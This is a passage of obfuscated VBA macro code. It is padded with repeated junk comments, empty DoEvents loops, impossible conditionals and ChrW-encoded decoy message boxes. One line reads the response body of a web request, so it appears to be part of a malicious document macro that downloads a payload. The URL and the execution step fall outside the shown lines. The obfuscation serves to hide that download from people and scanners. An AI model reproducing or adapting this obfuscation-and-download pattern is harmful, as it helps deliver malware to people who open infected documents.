  1055. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1056. DoEvents
  1057. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1058. Next vikcfsjb
  1059. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1060. Loop
  1061. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1062.  
  1063. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1064. Dim qglaucgv As Integer
  1065. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1066. For qglaucgv = 0 To 4
  1067. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1068. DoEvents
  1069. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1070. Next qglaucgv
  1071. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1072.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  1073. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1074. End If
  1075. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1076.  
  1077. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1078. Dim olxjflbw As Integer
  1079. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1080. Dim onxhczly As Integer
  1081. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1082. For onxhczly = 0 To 4
  1083. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1084. DoEvents
  1085. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1086. Next onxhczly
  1087. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1088. olxjflbw = 7
  1089. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1090. Do While olxjflbw < 46
  1091. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1092. Dim throlpgy As Integer
  1093. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1094. For throlpgy = 0 To 8
  1095. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1096. DoEvents
  1097. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1098. Next throlpgy
  1099. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1100. DoEvents: olxjflbw = olxjflbw + 1
  1101. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1102. Dim kwlvlcpv As Integer
  1103. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1104. For kwlvlcpv = 0 To 6
  1105. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1106. DoEvents
  1107. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1108. Next kwlvlcpv
  1109. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1110. Loop
  1111. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1112.  
  1113. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1114. Dim etsajwkl As Integer
  1115. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1116. For etsajwkl = 0 To 4
  1117. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1118. DoEvents
  1119. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1120. Next etsajwkl
  1121. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1122.    Loop
  1123. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1124.  
  1125. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1126.  
  1127. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1128. If 172329 = 172329 + 1 Then End
  1129. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1130. If 5258 < 79 Then
  1131. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1132.  
  1133. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1134. Dim snulcwap As Integer
  1135. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1136. Dim quumragu As Integer
  1137. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1138. For quumragu = 0 To 9
  1139. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1140. DoEvents
  1141. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1142. Next quumragu
  1143. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1144. snulcwap = 5
  1145. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1146. Do While snulcwap < 24
  1147. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1148. Dim xkvnhpgc As Integer
  1149. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1150. For xkvnhpgc = 0 To 6
  1151. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1152. DoEvents
  1153. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1154. Next xkvnhpgc
  1155. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1156. DoEvents: snulcwap = snulcwap + 1
  1157. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1158. Dim oxgqzsjm As Integer
  1159. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1160. For oxgqzsjm = 0 To 5
  1161. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1162. DoEvents
  1163. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1164. Next oxgqzsjm
  1165. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1166. Loop
  1167. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1168.  
  1169. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1170. Dim rwymasna As Integer
  1171. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1172. For rwymasna = 0 To 4
  1173. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1174. DoEvents
  1175. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1176. Next rwymasna
  1177. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1178.        MsgBox (ChrW(108) & ChrW(114) & ChrW(109) & ChrW(99) & ChrW(99) & ChrW(118) & ChrW(121) & ChrW(117) & ChrW(54) & ChrW(50))
  1179. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1180. End If
  1181. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1182. If Len(ChrW(108) & ChrW(111) & ChrW(109) & ChrW(102) & ChrW(107) & ChrW(99) & ChrW(103) & ChrW(121) & ChrW(57) & ChrW(52) & ChrW(50) & ChrW(50)) = Len(ChrW(122) & ChrW(99) & ChrW(122) & ChrW(111) & ChrW(103) & ChrW(103) & ChrW(110) & ChrW(121)) Then
  1183. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1184.  
  1185. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1186. Dim uyjirxda As Integer
  1187. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1188. Dim cjxkuzes As Integer
  1189. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1190. For cjxkuzes = 0 To 9
  1191. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1192. DoEvents
  1193. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1194. Next cjxkuzes
  1195. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1196. uyjirxda = 9
  1197. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1198. Do While uyjirxda < 98
  1199. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1200. Dim lhfauzsl As Integer
  1201. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1202. For lhfauzsl = 0 To 8
  1203. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1204. DoEvents
  1205. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1206. Next lhfauzsl
  1207. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1208. DoEvents: uyjirxda = uyjirxda + 1
  1209. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1210. Dim rbixbazp As Integer
  1211. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1212. For rbixbazp = 0 To 2
  1213. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1214. DoEvents
  1215. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1216. Next rbixbazp
  1217. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1218. Loop
  1219. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1220.  
  1221. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1222. Dim drgmobya As Integer
  1223. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1224. For drgmobya = 0 To 8
  1225. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1226. DoEvents
  1227. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1228. Next drgmobya
  1229. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1230.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  1231. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1232. End If
  1233. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1234.  
  1235. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1236. Dim kwdcaqyn As Integer
  1237. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1238. Dim jzqorxgb As Integer
  1239. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1240. For jzqorxgb = 0 To 2
  1241. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1242. DoEvents
  1243. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1244. Next jzqorxgb
  1245. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1246. kwdcaqyn = 1
  1247. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1248. Do While kwdcaqyn < 16
  1249. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1250. Dim buktfmlh As Integer
  1251. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1252. For buktfmlh = 0 To 8
  1253. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1254. DoEvents
  1255. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1256. Next buktfmlh
  1257. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1258. DoEvents: kwdcaqyn = kwdcaqyn + 1
  1259. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1260. Dim xweqeisw As Integer
  1261. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1262. For xweqeisw = 0 To 2
  1263. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1264. DoEvents
  1265. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1266. Next xweqeisw
  1267. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1268. Loop
  1269. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1270.  
  1271. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1272. Dim kxozjtte As Integer
  1273. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1274. For kxozjtte = 0 To 3
  1275. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1276. DoEvents
  1277. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1278. Next kxozjtte
  1279. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1280.    wratuzwqhxh = kderacuvhjh.responsebody
  1281. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1282.  
  1283. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1284.  
  1285. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1286. If 183762 = 183762 + 1 Then End
  1287. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1288. If 4538 < 91 Then
  1289. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1290.  
  1291. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1292. Dim khdwihgl As Integer
  1293. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1294. Dim bufuwkwe As Integer
  1295. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1296. For bufuwkwe = 0 To 1
  1297. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1298. DoEvents
  1299. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1300. Next bufuwkwe
  1301. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1302. khdwihgl = 6
  1303. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1304. Do While khdwihgl < 93
  1305. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1306. Dim rbyuzhkh As Integer
  1307. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1308. For rbyuzhkh = 0 To 4
  1309. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1310. DoEvents
  1311. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1312. Next rbyuzhkh
  1313. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1314. DoEvents: khdwihgl = khdwihgl + 1
  1315. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1316. Dim hpnionnz As Integer
  1317. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1318. For hpnionnz = 0 To 9
  1319. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1320. DoEvents
  1321. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1322. Next hpnionnz
  1323. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1324. Loop
  1325. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1326.  
  1327. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1328. Dim zggawlkf As Integer
  1329. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1330. For zggawlkf = 0 To 3
  1331. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1332. DoEvents
  1333. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1334. Next zggawlkf
  1335. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1336.        MsgBox (ChrW(119) & ChrW(104) & ChrW(116) & ChrW(117) & ChrW(114) & ChrW(114) & ChrW(108) & ChrW(116) & ChrW(56) & ChrW(49))
  1337. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1338. End If
  1339. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1340. If Len(ChrW(115) & ChrW(97) & ChrW(117) & ChrW(102) & ChrW(116) & ChrW(100) & ChrW(105) & ChrW(102) & ChrW(53) & ChrW(51) & ChrW(55) & ChrW(56)) = Len(ChrW(102) & ChrW(114) & ChrW(111) & ChrW(122) & ChrW(102) & ChrW(115) & ChrW(105) & ChrW(109)) Then
  1341. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1342.  
  1343. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1344. Dim pjqzsirq As Integer
  1345. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1346. Dim qjaqycbf As Integer
  1347. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1348. For qjaqycbf = 0 To 5
  1349. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1350. DoEvents
  1351. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1352. Next qjaqycbf
  1353. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1354. pjqzsirq = 2
  1355. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1356. Do While pjqzsirq < 95
  1357. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1358. Dim nenjustw As Integer
  1359. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1360. For nenjustw = 0 To 8
  1361. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1362. DoEvents
  1363. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1364. Next nenjustw
  1365. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1366. DoEvents: pjqzsirq = pjqzsirq + 1
  1367. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1368. Dim bfyhedez As Integer
  1369. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1370. For bfyhedez = 0 To 4
  1371. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1372. DoEvents
  1373. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1374. Next bfyhedez
  1375. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1376. Loop
  1377. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1378.  
  1379. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1380. Dim awqwpplp As Integer
  1381. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1382. For awqwpplp = 0 To 7
  1383. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1384. DoEvents
  1385. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1386. Next awqwpplp
  1387. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1388.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  1389. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1390. End If
  1391. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1392.  
  1393. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1394. Dim jmlmimhu As Integer
  1395. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1396. Dim cwvksniq As Integer
  1397. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1398. For cwvksniq = 0 To 2
  1399. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1400. DoEvents
  1401. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
